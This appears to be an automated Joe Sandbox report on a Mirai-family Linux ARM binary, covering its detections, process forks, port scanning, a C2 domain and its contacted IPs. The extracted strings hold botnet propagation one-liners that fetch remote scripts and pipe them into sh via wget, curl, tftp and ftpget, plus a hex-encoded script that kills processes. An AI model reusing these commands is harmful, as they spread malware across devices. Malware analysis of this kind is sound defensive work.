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Linux Analysis Report
arm.elf

Overview

General Information

Sample name:	arm.elf
Analysis ID:	1563421
MD5:	03ff649bf272f72a6a2f23fb366a7394
SHA1:	ece8a2eeaaef935dd4d9e08fa70eb37f47e4766d
SHA256:	c2f5e2a887802ae5f00a40032f50887529abeb9dc85ea47c0782a424bd9a3927
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563421
Start date and time:	2024-11-26 23:21:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/141@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: arm.elf

Runtime Messages

Command:	/tmp/arm.elf
PID:	5554
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

arm.elf (PID: 5554, Parent: 5475, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm.elf

arm.elf New Fork (PID: 5556, Parent: 5554)

arm.elf New Fork (PID: 5558, Parent: 5556)

arm.elf New Fork (PID: 5560, Parent: 5556)

arm.elf New Fork (PID: 5561, Parent: 5556)

cleanup

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: arm.elf

ReversingLabs: Detection: 44%

Source: arm.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 154.213.187.249 ports 38241,1,2,3,4,8

Source: global traffic

TCP traffic: 192.168.2.15:39512 -> 154.213.187.249:38241

Source: /tmp/arm.elf (PID: 5554)

Socket: 127.0.0.1:39148

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 4.16.214.7
Source: unknown	TCP traffic detected without corresponding DNS query: 166.242.64.59
Source: unknown	TCP traffic detected without corresponding DNS query: 200.106.218.4
Source: unknown	TCP traffic detected without corresponding DNS query: 17.115.78.178
Source: unknown	TCP traffic detected without corresponding DNS query: 26.34.16.247
Source: unknown	TCP traffic detected without corresponding DNS query: 73.255.175.188
Source: unknown	TCP traffic detected without corresponding DNS query: 201.111.58.86
Source: unknown	TCP traffic detected without corresponding DNS query: 31.11.189.254
Source: unknown	TCP traffic detected without corresponding DNS query: 37.22.92.114
Source: unknown	TCP traffic detected without corresponding DNS query: 63.113.107.68
Source: unknown	TCP traffic detected without corresponding DNS query: 166.140.14.222
Source: unknown	TCP traffic detected without corresponding DNS query: 212.145.140.116
Source: unknown	TCP traffic detected without corresponding DNS query: 8.27.106.27
Source: unknown	TCP traffic detected without corresponding DNS query: 31.193.245.235
Source: unknown	TCP traffic detected without corresponding DNS query: 61.25.20.137
Source: unknown	TCP traffic detected without corresponding DNS query: 163.78.128.24
Source: unknown	TCP traffic detected without corresponding DNS query: 175.235.136.46
Source: unknown	TCP traffic detected without corresponding DNS query: 116.206.30.141
Source: unknown	TCP traffic detected without corresponding DNS query: 117.175.179.179
Source: unknown	TCP traffic detected without corresponding DNS query: 9.133.254.131
Source: unknown	TCP traffic detected without corresponding DNS query: 134.29.94.196
Source: unknown	TCP traffic detected without corresponding DNS query: 3.124.224.220
Source: unknown	TCP traffic detected without corresponding DNS query: 162.130.36.61
Source: unknown	TCP traffic detected without corresponding DNS query: 118.191.172.225
Source: unknown	TCP traffic detected without corresponding DNS query: 135.164.135.177
Source: unknown	TCP traffic detected without corresponding DNS query: 88.56.2.183
Source: unknown	TCP traffic detected without corresponding DNS query: 129.90.230.42
Source: unknown	TCP traffic detected without corresponding DNS query: 27.230.50.94
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.208.161
Source: unknown	TCP traffic detected without corresponding DNS query: 139.176.4.131
Source: unknown	TCP traffic detected without corresponding DNS query: 8.235.94.152
Source: unknown	TCP traffic detected without corresponding DNS query: 173.164.67.72
Source: unknown	TCP traffic detected without corresponding DNS query: 163.252.117.254
Source: unknown	TCP traffic detected without corresponding DNS query: 171.31.60.72
Source: unknown	TCP traffic detected without corresponding DNS query: 151.232.29.47
Source: unknown	TCP traffic detected without corresponding DNS query: 78.62.204.64
Source: unknown	TCP traffic detected without corresponding DNS query: 126.113.148.107
Source: unknown	TCP traffic detected without corresponding DNS query: 33.77.236.168
Source: unknown	TCP traffic detected without corresponding DNS query: 168.69.237.19
Source: unknown	TCP traffic detected without corresponding DNS query: 18.61.97.34
Source: unknown	TCP traffic detected without corresponding DNS query: 69.74.9.66
Source: unknown	TCP traffic detected without corresponding DNS query: 93.243.154.252
Source: unknown	TCP traffic detected without corresponding DNS query: 223.209.46.254
Source: unknown	TCP traffic detected without corresponding DNS query: 115.137.66.213
Source: unknown	TCP traffic detected without corresponding DNS query: 119.68.50.138
Source: unknown	TCP traffic detected without corresponding DNS query: 179.52.15.243
Source: unknown	TCP traffic detected without corresponding DNS query: 48.106.197.129
Source: unknown	TCP traffic detected without corresponding DNS query: 94.24.95.69
Source: unknown	TCP traffic detected without corresponding DNS query: 26.192.147.36
Source: unknown	TCP traffic detected without corresponding DNS query: 4.16.214.7

Source: global traffic

DNS traffic detected: DNS query: burnthe.libre

Source: arm.elf	String found in binary or memory: http:///curl.sh
Source: arm.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/141@1/0

Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5580/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5580/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5591/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5591/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5581/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5581/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5582/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5582/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5583/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5583/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5584/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5584/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5585/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5585/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5575/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5575/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5586/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5586/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5576/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5576/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5587/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5587/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5642/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5642/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5590/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5590/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5566/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5566/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5566/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5577/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5577/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5588/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5588/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5578/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5578/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5589/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5589/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5579/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5560)	File opened: /proc/5579/cmdline	Jump to behavior

Source: /tmp/arm.elf (PID: 5554)

Queries kernel information via 'uname':

Jump to behavior

Source: arm.elf, 5554.1.0000558b6ce3d000.0000558b6cf6b000.rw-.sdmp, arm.elf, 5558.1.0000558b6ce3d000.0000558b6cf6b000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm.elf, 5554.1.00007fffd6b71000.00007fffd6b92000.rw-.sdmp, arm.elf, 5558.1.00007fffd6b71000.00007fffd6b92000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.elf
Source: arm.elf, 5554.1.0000558b6ce3d000.0000558b6cf6b000.rw-.sdmp, arm.elf, 5558.1.0000558b6ce3d000.0000558b6cf6b000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.elf, 5554.1.00007fffd6b71000.00007fffd6b92000.rw-.sdmp, arm.elf, 5558.1.00007fffd6b71000.00007fffd6b92000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
arm.elf	45%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
burnthe.libre	154.213.187.213	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	arm.elf	false		high
http:///curl.sh	arm.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
97.175.201.227	unknown	United States	6167	CELLCO-PARTUS	false
120.5.82.85	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
68.36.9.26	unknown	United States	7922	COMCAST-7922US	false
20.247.156.213	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
137.163.57.217	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
122.227.70.163	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
47.17.247.202	unknown	United States	6128	CABLE-NET-1US	false
32.111.36.40	unknown	United States	2688	ATGS-MMD-ASUS	false
68.197.0.233	unknown	United States	6128	CABLE-NET-1US	false
185.164.176.153	unknown	Italy	20836	CDLAN-ASMilanoIT	false
193.55.40.16	unknown	France	2200	FR-RENATERReseauNationaldetelecommunicationspourlaTec	false
222.128.67.206	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
122.112.24.38	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
185.216.247.33	unknown	Russian Federation	41338	MTT-ASRU	false
77.179.228.88	unknown	Germany	6805	TDDE-ASN1DE	false
102.196.108.56	unknown	unknown	36926	CKL1-ASNKE	false
123.88.172.169	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
198.140.18.81	unknown	United States	7726	FITC-ASUS	false
181.37.112.152	unknown	Dominican Republic	28118	ALTICEDOMINICANASADO	false
139.9.27.74	unknown	China	55990	HWCSNETHuaweiCloudServicedatacenterCN	false
30.131.118.211	unknown	United States	7922	COMCAST-7922US	false
90.88.218.240	unknown	France	3215	FranceTelecom-OrangeFR	false
152.89.14.98	unknown	Iran (ISLAMIC Republic Of)	12660	SHARIF-EDU-NETIR	false
194.1.14.96	unknown	Slovakia (SLOVAK Republic)	2607	SANETSlovakAcademicNetworkSK	false
120.97.36.113	unknown	Taiwan; Republic of China (ROC)	17716	NTU-TWNationalTaiwanUniversityTW	false
35.251.247.166	unknown	United States	3549	LVLT-3549US	false
103.176.106.72	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
115.183.107.195	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
34.161.156.175	unknown	United States	2686	ATGS-MMD-ASUS	false
9.170.73.56	unknown	United States	3356	LEVEL3US	false
140.234.169.163	unknown	United States	6932	EBSCOPUBUS	false
163.99.80.110	unknown	France	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
148.223.72.205	unknown	Mexico	8151	UninetSAdeCVMX	false
102.44.162.208	unknown	Egypt	8452	TE-ASTE-ASEG	false
141.90.48.211	unknown	Germany	29515	HZD-ASMainzerStr29DE	false
183.116.227.124	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
132.123.194.70	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
14.36.136.19	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
58.121.228.90	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
58.2.74.107	unknown	India	2510	INFOWEBFUJITSULIMITEDJP	false
56.194.144.152	unknown	United States	2686	ATGS-MMD-ASUS	false
94.92.220.46	unknown	Italy	3269	ASN-IBSNAZIT	false
106.175.214.164	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
143.30.201.50	unknown	United States	11003	PANDGUS	false
210.242.192.24	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
82.82.106.37	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
135.86.65.108	unknown	United States	10455	LUCENT-CIOUS	false
6.207.216.122	unknown	United States	3356	LEVEL3US	false
155.122.84.187	unknown	United States	11003	PANDGUS	false
97.220.119.63	unknown	United States	6167	CELLCO-PARTUS	false
119.166.120.151	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
213.222.15.187	unknown	Netherlands	3265	XS4ALL-NLAmsterdamNL	false
152.81.199.100	unknown	France	782	FR-LORIAASfortheLaboratoireenrechercheinformatique	false
80.226.3.107	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
146.190.146.146	unknown	United States	702	UUNETUS	false
113.178.146.72	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
119.93.197.87	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
76.77.66.181	unknown	Canada	20161	TRGOCA	false
220.28.49.183	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
158.209.36.197	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
12.245.113.22	unknown	United States	7018	ATT-INTERNET4US	false
205.102.250.252	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
85.186.170.192	unknown	Romania	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
90.230.108.82	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
124.8.56.152	unknown	Taiwan; Republic of China (ROC)	9924	TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi	false
172.148.86.70	unknown	United States	7018	ATT-INTERNET4US	false
131.27.223.187	unknown	United States	383	AFCONC-BLOCK1-ASUS	false
17.159.246.66	unknown	United States	714	APPLE-ENGINEERINGUS	false
145.63.222.126	unknown	Netherlands	47863	SDSKNL	false
172.186.111.149	unknown	United States	7018	ATT-INTERNET4US	false
63.186.122.251	unknown	United States	1239	SPRINTLINKUS	false
166.251.48.151	unknown	United States	22394	CELLCOUS	false
169.238.54.169	unknown	United States	22323	UNIVERSITY-OF-CALIFORNIA-MERCEDUS	false
17.254.82.54	unknown	United States	714	APPLE-ENGINEERINGUS	false
50.206.157.216	unknown	United States	7922	COMCAST-7922US	false
45.136.88.86	unknown	Germany	3257	GTT-BACKBONEGTTDE	false
217.129.185.241	unknown	Portugal	13156	AS13156PalmelaPT	false
4.134.233.168	unknown	United States	3356	LEVEL3US	false
102.1.108.76	unknown	unknown	36926	CKL1-ASNKE	false
5.202.43.172	unknown	Iran (ISLAMIC Republic Of)	201150	DIDEHABNNETIR	false
161.48.35.254	unknown	France	1767	ILIGHT-NETUS	false
211.118.236.145	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
68.116.243.86	unknown	United States	20115	CHARTER-20115US	false
63.155.148.25	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
80.101.44.117	unknown	Netherlands	3265	XS4ALL-NLAmsterdamNL	false
159.164.19.119	unknown	United States	34058	LIFECELL-ASUA	false
1.5.30.227	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
121.208.131.43	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
137.200.183.32	unknown	United States	11985	ASN-SSAUS	false
68.225.173.26	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
67.61.54.102	unknown	United States	11492	CABLEONEUS	false
55.25.240.233	unknown	United States	320	DNIC-ASBLK-00306-00371US	false
51.182.116.168	unknown	United Kingdom	210278	SKYIT-BBIT	false
116.130.128.42	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
133.132.43.248	unknown	Japan	9595	XEPHIONNTT-MECorporationJP	false
190.159.114.197	unknown	Colombia	10620	TelmexColombiaSACO	false
84.28.112.56	unknown	Netherlands	33915	TNF-ASNL	false
24.150.3.6	unknown	Canada	7992	COGECOWAVECA	false
18.117.129.34	unknown	United States	3	MIT-GATEWAYSUS	false
67.171.31.176	unknown	United States	7922	COMCAST-7922US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
122.227.70.163	2tneBBzaBb.elf	Get hash	malicious	Mirai	Browse
123.88.172.169	x86.elf	Get hash	malicious	Mirai	Browse
9.170.73.56	Xe3eO9R1Ra.elf	Get hash	malicious	Mirai	Browse
	guccix86.elf	Get hash	malicious	Mirai	Browse
	i586-20211007-1619	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	zermpsl.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nabspc.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	zersh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.245
	zerarm7.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nabsh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.249
	zerspc.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	m68k.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	nklppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.249
	nklarm7.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
	zermips.elf	Get hash	malicious	Unknown	Browse	154.213.187.248

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	mips.elf	Get hash	malicious	Unknown	Browse	27.200.112.247
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	101.204.90.185
	nabsh4.elf	Get hash	malicious	Unknown	Browse	58.243.62.163
	nklppc.elf	Get hash	malicious	Unknown	Browse	122.194.20.237
	nklarm7.elf	Get hash	malicious	Unknown	Browse	119.113.36.200
	arm7.elf	Get hash	malicious	Unknown	Browse	119.112.57.201
	nabarm7.elf	Get hash	malicious	Unknown	Browse	182.88.40.15
	arm5.elf	Get hash	malicious	Unknown	Browse	118.73.64.63
	RHxJqGoGFB.exe	Get hash	malicious	Sality	Browse	119.189.3.27
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	101.23.102.90
COMCAST-7922US	nabspc.elf	Get hash	malicious	Unknown	Browse	96.167.72.180
	mips.elf	Get hash	malicious	Unknown	Browse	26.52.169.3
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	28.46.22.214
	nabsh4.elf	Get hash	malicious	Unknown	Browse	25.62.215.133
	m68k.elf	Get hash	malicious	Unknown	Browse	74.29.90.107
	nklppc.elf	Get hash	malicious	Unknown	Browse	184.120.23.192
	nklarm7.elf	Get hash	malicious	Unknown	Browse	25.198.248.146
	arm7.elf	Get hash	malicious	Unknown	Browse	50.79.71.228
	nabarm7.elf	Get hash	malicious	Unknown	Browse	174.48.17.16
	arm5.elf	Get hash	malicious	Unknown	Browse	26.245.66.245
CELLCO-PARTUS	nabmpsl.elf	Get hash	malicious	Unknown	Browse	97.38.56.158
	nklppc.elf	Get hash	malicious	Unknown	Browse	97.253.179.101
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	70.197.128.122
	fbot.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	97.157.240.235
	fbot.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	70.198.172.107
	fbot.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	97.237.43.221
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	97.165.240.8
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	97.180.238.208
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	97.140.239.109
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	70.192.48.227
MICROSOFT-CORP-MSN-AS-BLOCKUS	mips.elf	Get hash	malicious	Unknown	Browse	40.110.33.86
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	52.159.28.57
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	94.245.104.56
	nabsh4.elf	Get hash	malicious	Unknown	Browse	20.129.234.151
	nklppc.elf	Get hash	malicious	Unknown	Browse	143.98.80.176
	nklarm7.elf	Get hash	malicious	Unknown	Browse	21.247.119.162
	arm7.elf	Get hash	malicious	Unknown	Browse	40.115.149.52
	nabarm7.elf	Get hash	malicious	Unknown	Browse	40.67.128.110
	Impact replications.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.63
	arm5.elf	Get hash	malicious	Unknown	Browse	20.216.184.106

Process:	/tmp/arm.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	283
Entropy (8bit):	3.1195756140433364
Encrypted:	false
SSDEEP:	6:uIgDF0/VWDFfXNl/Vtj/VjmsVot/VOArB/VH:4llbil
MD5:	C4CDAD5EE1ABC1293BA91B55B1FBC6C5
SHA1:	E1DCA8621F779DDE500E749D9CE7F6F995F7D7DB
SHA-256:	1451877FE3B3689B198B92CE3F72D2908297F93FD18DE1D0AFEB9E495C0BAE60
